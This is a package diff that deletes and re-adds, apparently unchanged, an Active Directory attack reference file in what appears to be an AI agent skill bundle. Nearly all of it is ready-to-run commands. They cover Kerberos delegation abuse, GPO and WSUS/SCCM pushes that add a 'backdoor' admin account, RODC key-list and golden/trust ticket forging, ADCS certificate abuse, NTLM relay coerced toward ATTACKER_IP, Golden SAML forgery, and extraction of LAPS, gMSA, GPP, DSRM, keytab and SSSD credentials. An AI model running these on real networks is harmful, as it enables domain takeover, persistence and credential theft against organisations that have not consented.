@ngxtm/devkit 3.0.3 → 3.2.0

package/skills/active-directory-attacks/references/advanced-attacks.md

@@ -1,382 +1,382 @@
-# Advanced Active Directory Attacks Reference
-
-## Table of Contents
-1. [Delegation Attacks](#delegation-attacks)
-2. [Group Policy Object Abuse](#group-policy-object-abuse)
-3. [RODC Attacks](#rodc-attacks)
-4. [SCCM/WSUS Deployment](#sccmwsus-deployment)
-5. [AD Certificate Services (ADCS)](#ad-certificate-services-adcs)
-6. [Trust Relationship Attacks](#trust-relationship-attacks)
-7. [ADFS Golden SAML](#adfs-golden-saml)
-8. [Credential Sources](#credential-sources)
-9. [Linux AD Integration](#linux-ad-integration)
-
----
-
-## Delegation Attacks
-
-### Unconstrained Delegation
-
-When a user authenticates to a computer with unconstrained delegation, their TGT is saved to memory.
-
-**Find Delegation:**
-```powershell
-# PowerShell
-Get-ADComputer -Filter {TrustedForDelegation -eq $True}
-
-# BloodHound
-MATCH (c:Computer {unconstraineddelegation:true}) RETURN c
-```
-
-**SpoolService Abuse:**
-```bash
-# Check spooler service
-ls \\dc01\pipe\spoolss
-
-# Trigger with SpoolSample
-.\SpoolSample.exe DC01.domain.local HELPDESK.domain.local
-
-# Or with printerbug.py
-python3 printerbug.py 'domain/user:pass'@DC01 ATTACKER_IP
-```
-
-**Monitor with Rubeus:**
-```powershell
-Rubeus.exe monitor /interval:1
-```
-
-### Constrained Delegation
-
-**Identify:**
-```powershell
-Get-DomainComputer -TrustedToAuth | select -exp msds-AllowedToDelegateTo
-```
-
-**Exploit with Rubeus:**
-```powershell
-# S4U2 attack
-Rubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target.domain.local /ptt
-```
-
-**Exploit with Impacket:**
-```bash
-getST.py -spn HOST/target.domain.local 'domain/user:password' -impersonate Administrator -dc-ip DC_IP
-```
-
-### Resource-Based Constrained Delegation (RBCD)
-
-```powershell
-# Create machine account
-New-MachineAccount -MachineAccount AttackerPC -Password $(ConvertTo-SecureString 'Password123' -AsPlainText -Force)
-
-# Set delegation
-Set-ADComputer target -PrincipalsAllowedToDelegateToAccount AttackerPC$
-
-# Get ticket
-.\Rubeus.exe s4u /user:AttackerPC$ /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target.domain.local /ptt
-```
-
----
-
-## Group Policy Object Abuse
-
-### Find Vulnerable GPOs
-
-```powershell
-Get-DomainObjectAcl -Identity "SuperSecureGPO" -ResolveGUIDs | Where-Object {($_.ActiveDirectoryRights.ToString() -match "GenericWrite|WriteDacl|WriteOwner")}
-```
-
-### Abuse with SharpGPOAbuse
-
-```powershell
-# Add local admin
-.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount attacker --GPOName "Vulnerable GPO"
-
-# Add user rights
-.\SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" --UserAccount attacker --GPOName "Vulnerable GPO"
-
-# Add immediate task
-.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c net user backdoor Password123! /add" --GPOName "Vulnerable GPO"
-```
-
-### Abuse with pyGPOAbuse (Linux)
-
-```bash
-./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012"
-```
-
----
-
-## RODC Attacks
-
-### RODC Golden Ticket
-
-RODCs contain filtered AD copy (excludes LAPS/Bitlocker keys). Forge tickets for principals in msDS-RevealOnDemandGroup.
-
-### RODC Key List Attack
-
-**Requirements:**
-- krbtgt credentials of the RODC (-rodcKey)
-- ID of the krbtgt account of the RODC (-rodcNo)
-
-```bash
-# Impacket keylistattack
-keylistattack.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -full
-
-# Using secretsdump with keylist
-secretsdump.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -use-keylist
-```
-
-**Using Rubeus:**
-```powershell
-Rubeus.exe golden /rodcNumber:25078 /aes256:RODC_AES256_KEY /user:Administrator /id:500 /domain:domain.local /sid:S-1-5-21-xxx
-```
-
----
-
-## SCCM/WSUS Deployment
-
-### SCCM Attack with MalSCCM
-
-```bash
-# Locate SCCM server
-MalSCCM.exe locate
-
-# Enumerate targets
-MalSCCM.exe inspect /all
-MalSCCM.exe inspect /computers
-
-# Create target group
-MalSCCM.exe group /create /groupname:TargetGroup /grouptype:device
-MalSCCM.exe group /addhost /groupname:TargetGroup /host:TARGET-PC
-
-# Create malicious app
-MalSCCM.exe app /create /name:backdoor /uncpath:"\\SCCM\SCCMContentLib$\evil.exe"
-
-# Deploy
-MalSCCM.exe app /deploy /name:backdoor /groupname:TargetGroup /assignmentname:update
-
-# Force checkin
-MalSCCM.exe checkin /groupname:TargetGroup
-
-# Cleanup
-MalSCCM.exe app /cleanup /name:backdoor
-MalSCCM.exe group /delete /groupname:TargetGroup
-```
-
-### SCCM Network Access Accounts
-
-```powershell
-# Find SCCM blob
-Get-Wmiobject -namespace "root\ccm\policy\Machine\ActualConfig" -class "CCM_NetworkAccessAccount"
-
-# Decrypt with SharpSCCM
-.\SharpSCCM.exe get naa -u USERNAME -p PASSWORD
-```
-
-### WSUS Deployment Attack
-
-```bash
-# Using SharpWSUS
-SharpWSUS.exe locate
-SharpWSUS.exe inspect
-
-# Create malicious update
-SharpWSUS.exe create /payload:"C:\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"net user backdoor Password123! /add\"" /title:"Critical Update"
-
-# Deploy to target
-SharpWSUS.exe approve /updateid:GUID /computername:TARGET.domain.local /groupname:"Demo Group"
-
-# Check status
-SharpWSUS.exe check /updateid:GUID /computername:TARGET.domain.local
-
-# Cleanup
-SharpWSUS.exe delete /updateid:GUID /computername:TARGET.domain.local /groupname:"Demo Group"
-```
-
----
-
-## AD Certificate Services (ADCS)
-
-### ESC1 - Misconfigured Templates
-
-Template allows ENROLLEE_SUPPLIES_SUBJECT with Client Authentication EKU.
-
-```bash
-# Find vulnerable templates
-certipy find -u user@domain.local -p password -dc-ip DC_IP -vulnerable
-
-# Request certificate as admin
-certipy req -u user@domain.local -p password -ca CA-NAME -target ca.domain.local -template VulnTemplate -upn administrator@domain.local
-
-# Authenticate
-certipy auth -pfx administrator.pfx -dc-ip DC_IP
-```
-
-### ESC4 - ACL Vulnerabilities
-
-```python
-# Check for WriteProperty
-python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -get-acl
-
-# Add ENROLLEE_SUPPLIES_SUBJECT flag
-python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -add CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
-
-# Perform ESC1, then restore
-python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -value 0 -property mspki-Certificate-Name-Flag
-```
-
-### ESC8 - NTLM Relay to Web Enrollment
-
-```bash
-# Start relay
-ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
-
-# Coerce authentication
-python3 petitpotam.py ATTACKER_IP DC_IP
-
-# Use certificate
-Rubeus.exe asktgt /user:DC$ /certificate:BASE64_CERT /ptt
-```
-
-### Shadow Credentials
-
-```bash
-# Add Key Credential (pyWhisker)
-python3 pywhisker.py -d "domain.local" -u "user1" -p "password" --target "TARGET" --action add
-
-# Get TGT with PKINIT
-python3 gettgtpkinit.py -cert-pfx "cert.pfx" -pfx-pass "password" "domain.local/TARGET" target.ccache
-
-# Get NT hash
-export KRB5CCNAME=target.ccache
-python3 getnthash.py -key 'AS-REP_KEY' domain.local/TARGET
-```
-
----
-
-## Trust Relationship Attacks
-
-### Child to Parent Domain (SID History)
-
-```powershell
-# Get Enterprise Admins SID from parent
-$ParentSID = "S-1-5-21-PARENT-DOMAIN-SID-519"
-
-# Create Golden Ticket with SID History
-kerberos::golden /user:Administrator /domain:child.parent.local /sid:S-1-5-21-CHILD-SID /krbtgt:KRBTGT_HASH /sids:$ParentSID /ptt
-```
-
-### Forest to Forest (Trust Ticket)
-
-```bash
-# Dump trust key
-lsadump::trust /patch
-
-# Forge inter-realm TGT
-kerberos::golden /domain:domain.local /sid:S-1-5-21-xxx /rc4:TRUST_KEY /user:Administrator /service:krbtgt /target:external.com /ticket:trust.kirbi
-
-# Use trust ticket
-.\Rubeus.exe asktgs /ticket:trust.kirbi /service:cifs/target.external.com /dc:dc.external.com /ptt
-```
-
----
-
-## ADFS Golden SAML
-
-**Requirements:**
-- ADFS service account access
-- Token signing certificate (PFX + decryption password)
-
-```bash
-# Dump with ADFSDump
-.\ADFSDump.exe
-
-# Forge SAML token
-python ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin -s adfs.domain.local saml2 --endpoint https://target/saml --nameid administrator@domain.local
-```
-
----
-
-## Credential Sources
-
-### LAPS Password
-
-```powershell
-# PowerShell
-Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-admpwd','ms-mcs-admpwdexpirationtime'
-
-# CrackMapExec
-crackmapexec ldap DC_IP -u user -p password -M laps
-```
-
-### GMSA Password
-
-```powershell
-# PowerShell + DSInternals
-$gmsa = Get-ADServiceAccount -Identity 'SVC_ACCOUNT' -Properties 'msDS-ManagedPassword'
-$mp = $gmsa.'msDS-ManagedPassword'
-ConvertFrom-ADManagedPasswordBlob $mp
-```
-
-```bash
-# Linux with bloodyAD
-python bloodyAD.py -u user -p password --host DC_IP getObjectAttributes gmsaAccount$ msDS-ManagedPassword
-```
-
-### Group Policy Preferences (GPP)
-
-```bash
-# Find in SYSVOL
-findstr /S /I cpassword \\domain.local\sysvol\domain.local\policies\*.xml
-
-# Decrypt
-python3 Get-GPPPassword.py -no-pass 'DC_IP'
-```
-
-### DSRM Credentials
-
-```powershell
-# Dump DSRM hash
-Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'
-
-# Enable DSRM admin logon
-Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2
-```
-
----
-
-## Linux AD Integration
-
-### CCACHE Ticket Reuse
-
-```bash
-# Find tickets
-ls /tmp/ | grep krb5cc
-
-# Use ticket
-export KRB5CCNAME=/tmp/krb5cc_1000
-```
-
-### Extract from Keytab
-
-```bash
-# List keys
-klist -k /etc/krb5.keytab
-
-# Extract with KeyTabExtract
-python3 keytabextract.py /etc/krb5.keytab
-```
-
-### Extract from SSSD
-
-```bash
-# Database location
-/var/lib/sss/secrets/secrets.ldb
-
-# Key location
-/var/lib/sss/secrets/.secrets.mkey
-
-# Extract
-python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
-```
+# Advanced Active Directory Attacks Reference
+
+## Table of Contents
+1. [Delegation Attacks](#delegation-attacks)
+2. [Group Policy Object Abuse](#group-policy-object-abuse)
+3. [RODC Attacks](#rodc-attacks)
+4. [SCCM/WSUS Deployment](#sccmwsus-deployment)
+5. [AD Certificate Services (ADCS)](#ad-certificate-services-adcs)
+6. [Trust Relationship Attacks](#trust-relationship-attacks)
+7. [ADFS Golden SAML](#adfs-golden-saml)
+8. [Credential Sources](#credential-sources)
+9. [Linux AD Integration](#linux-ad-integration)
+
+---
+
+## Delegation Attacks
+
+### Unconstrained Delegation
+
+When a user authenticates to a computer with unconstrained delegation, their TGT is saved to memory.
+
+**Find Delegation:**
+```powershell
+# PowerShell
+Get-ADComputer -Filter {TrustedForDelegation -eq $True}
+
+# BloodHound
+MATCH (c:Computer {unconstraineddelegation:true}) RETURN c
+```
+
+**SpoolService Abuse:**
+```bash
+# Check spooler service
+ls \\dc01\pipe\spoolss
+
+# Trigger with SpoolSample
+.\SpoolSample.exe DC01.domain.local HELPDESK.domain.local
+
+# Or with printerbug.py
+python3 printerbug.py 'domain/user:pass'@DC01 ATTACKER_IP
+```
+
+**Monitor with Rubeus:**
+```powershell
+Rubeus.exe monitor /interval:1
+```
+
+### Constrained Delegation
+
+**Identify:**
+```powershell
+Get-DomainComputer -TrustedToAuth | select -exp msds-AllowedToDelegateTo
+```
+
+**Exploit with Rubeus:**
+```powershell
+# S4U2 attack
+Rubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target.domain.local /ptt
+```
+
+**Exploit with Impacket:**
+```bash
+getST.py -spn HOST/target.domain.local 'domain/user:password' -impersonate Administrator -dc-ip DC_IP
+```
+
+### Resource-Based Constrained Delegation (RBCD)
+
+```powershell
+# Create machine account
+New-MachineAccount -MachineAccount AttackerPC -Password $(ConvertTo-SecureString 'Password123' -AsPlainText -Force)
+
+# Set delegation
+Set-ADComputer target -PrincipalsAllowedToDelegateToAccount AttackerPC$
+
+# Get ticket
+.\Rubeus.exe s4u /user:AttackerPC$ /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target.domain.local /ptt
+```
+
+---
+
+## Group Policy Object Abuse
+
+### Find Vulnerable GPOs
+
+```powershell
+Get-DomainObjectAcl -Identity "SuperSecureGPO" -ResolveGUIDs | Where-Object {($_.ActiveDirectoryRights.ToString() -match "GenericWrite|WriteDacl|WriteOwner")}
+```
+
+### Abuse with SharpGPOAbuse
+
+```powershell
+# Add local admin
+.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount attacker --GPOName "Vulnerable GPO"
+
+# Add user rights
+.\SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" --UserAccount attacker --GPOName "Vulnerable GPO"
+
+# Add immediate task
+.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c net user backdoor Password123! /add" --GPOName "Vulnerable GPO"
+```
+
+### Abuse with pyGPOAbuse (Linux)
+
+```bash
+./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012"
+```
+
+---
+
+## RODC Attacks
+
+### RODC Golden Ticket
+
+RODCs contain filtered AD copy (excludes LAPS/Bitlocker keys). Forge tickets for principals in msDS-RevealOnDemandGroup.
+
+### RODC Key List Attack
+
+**Requirements:**
+- krbtgt credentials of the RODC (-rodcKey)
+- ID of the krbtgt account of the RODC (-rodcNo)
+
+```bash
+# Impacket keylistattack
+keylistattack.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -full
+
+# Using secretsdump with keylist
+secretsdump.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -use-keylist
+```
+
+**Using Rubeus:**
+```powershell
+Rubeus.exe golden /rodcNumber:25078 /aes256:RODC_AES256_KEY /user:Administrator /id:500 /domain:domain.local /sid:S-1-5-21-xxx
+```
+
+---
+
+## SCCM/WSUS Deployment
+
+### SCCM Attack with MalSCCM
+
+```bash
+# Locate SCCM server
+MalSCCM.exe locate
+
+# Enumerate targets
+MalSCCM.exe inspect /all
+MalSCCM.exe inspect /computers
+
+# Create target group
+MalSCCM.exe group /create /groupname:TargetGroup /grouptype:device
+MalSCCM.exe group /addhost /groupname:TargetGroup /host:TARGET-PC
+
+# Create malicious app
+MalSCCM.exe app /create /name:backdoor /uncpath:"\\SCCM\SCCMContentLib$\evil.exe"
+
+# Deploy
+MalSCCM.exe app /deploy /name:backdoor /groupname:TargetGroup /assignmentname:update
+
+# Force checkin
+MalSCCM.exe checkin /groupname:TargetGroup
+
+# Cleanup
+MalSCCM.exe app /cleanup /name:backdoor
+MalSCCM.exe group /delete /groupname:TargetGroup
+```
+
+### SCCM Network Access Accounts
+
+```powershell
+# Find SCCM blob
+Get-Wmiobject -namespace "root\ccm\policy\Machine\ActualConfig" -class "CCM_NetworkAccessAccount"
+
+# Decrypt with SharpSCCM
+.\SharpSCCM.exe get naa -u USERNAME -p PASSWORD
+```
+
+### WSUS Deployment Attack
+
+```bash
+# Using SharpWSUS
+SharpWSUS.exe locate
+SharpWSUS.exe inspect
+
+# Create malicious update
+SharpWSUS.exe create /payload:"C:\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"net user backdoor Password123! /add\"" /title:"Critical Update"
+
+# Deploy to target
+SharpWSUS.exe approve /updateid:GUID /computername:TARGET.domain.local /groupname:"Demo Group"
+
+# Check status
+SharpWSUS.exe check /updateid:GUID /computername:TARGET.domain.local
+
+# Cleanup
+SharpWSUS.exe delete /updateid:GUID /computername:TARGET.domain.local /groupname:"Demo Group"
+```
+
+---
+
+## AD Certificate Services (ADCS)
+
+### ESC1 - Misconfigured Templates
+
+Template allows ENROLLEE_SUPPLIES_SUBJECT with Client Authentication EKU.
+
+```bash
+# Find vulnerable templates
+certipy find -u user@domain.local -p password -dc-ip DC_IP -vulnerable
+
+# Request certificate as admin
+certipy req -u user@domain.local -p password -ca CA-NAME -target ca.domain.local -template VulnTemplate -upn administrator@domain.local
+
+# Authenticate
+certipy auth -pfx administrator.pfx -dc-ip DC_IP
+```
+
+### ESC4 - ACL Vulnerabilities
+
+```python
+# Check for WriteProperty
+python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -get-acl
+
+# Add ENROLLEE_SUPPLIES_SUBJECT flag
+python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -add CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
+
+# Perform ESC1, then restore
+python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -value 0 -property mspki-Certificate-Name-Flag
+```
+
+### ESC8 - NTLM Relay to Web Enrollment
+
+```bash
+# Start relay
+ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
+
+# Coerce authentication
+python3 petitpotam.py ATTACKER_IP DC_IP
+
+# Use certificate
+Rubeus.exe asktgt /user:DC$ /certificate:BASE64_CERT /ptt
+```
+
+### Shadow Credentials
+
+```bash
+# Add Key Credential (pyWhisker)
+python3 pywhisker.py -d "domain.local" -u "user1" -p "password" --target "TARGET" --action add
+
+# Get TGT with PKINIT
+python3 gettgtpkinit.py -cert-pfx "cert.pfx" -pfx-pass "password" "domain.local/TARGET" target.ccache
+
+# Get NT hash
+export KRB5CCNAME=target.ccache
+python3 getnthash.py -key 'AS-REP_KEY' domain.local/TARGET
+```
+
+---
+
+## Trust Relationship Attacks
+
+### Child to Parent Domain (SID History)
+
+```powershell
+# Get Enterprise Admins SID from parent
+$ParentSID = "S-1-5-21-PARENT-DOMAIN-SID-519"
+
+# Create Golden Ticket with SID History
+kerberos::golden /user:Administrator /domain:child.parent.local /sid:S-1-5-21-CHILD-SID /krbtgt:KRBTGT_HASH /sids:$ParentSID /ptt
+```
+
+### Forest to Forest (Trust Ticket)
+
+```bash
+# Dump trust key
+lsadump::trust /patch
+
+# Forge inter-realm TGT
+kerberos::golden /domain:domain.local /sid:S-1-5-21-xxx /rc4:TRUST_KEY /user:Administrator /service:krbtgt /target:external.com /ticket:trust.kirbi
+
+# Use trust ticket
+.\Rubeus.exe asktgs /ticket:trust.kirbi /service:cifs/target.external.com /dc:dc.external.com /ptt
+```
+
+---
+
+## ADFS Golden SAML
+
+**Requirements:**
+- ADFS service account access
+- Token signing certificate (PFX + decryption password)
+
+```bash
+# Dump with ADFSDump
+.\ADFSDump.exe
+
+# Forge SAML token
+python ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin -s adfs.domain.local saml2 --endpoint https://target/saml --nameid administrator@domain.local
+```
+
+---
+
+## Credential Sources
+
+### LAPS Password
+
+```powershell
+# PowerShell
+Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-admpwd','ms-mcs-admpwdexpirationtime'
+
+# CrackMapExec
+crackmapexec ldap DC_IP -u user -p password -M laps
+```
+
+### GMSA Password
+
+```powershell
+# PowerShell + DSInternals
+$gmsa = Get-ADServiceAccount -Identity 'SVC_ACCOUNT' -Properties 'msDS-ManagedPassword'
+$mp = $gmsa.'msDS-ManagedPassword'
+ConvertFrom-ADManagedPasswordBlob $mp
+```
+
+```bash
+# Linux with bloodyAD
+python bloodyAD.py -u user -p password --host DC_IP getObjectAttributes gmsaAccount$ msDS-ManagedPassword
+```
+
+### Group Policy Preferences (GPP)
+
+```bash
+# Find in SYSVOL
+findstr /S /I cpassword \\domain.local\sysvol\domain.local\policies\*.xml
+
+# Decrypt
+python3 Get-GPPPassword.py -no-pass 'DC_IP'
+```
+
+### DSRM Credentials
+
+```powershell
+# Dump DSRM hash
+Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'
+
+# Enable DSRM admin logon
+Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2
+```
+
+---
+
+## Linux AD Integration
+
+### CCACHE Ticket Reuse
+
+```bash
+# Find tickets
+ls /tmp/ | grep krb5cc
+
+# Use ticket
+export KRB5CCNAME=/tmp/krb5cc_1000
+```
+
+### Extract from Keytab
+
+```bash
+# List keys
+klist -k /etc/krb5.keytab
+
+# Extract with KeyTabExtract
+python3 keytabextract.py /etc/krb5.keytab
+```
+
+### Extract from SSSD
+
+```bash
+# Database location
+/var/lib/sss/secrets/secrets.ldb
+
+# Key location
+/var/lib/sss/secrets/.secrets.mkey
+
+# Extract
+python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
+```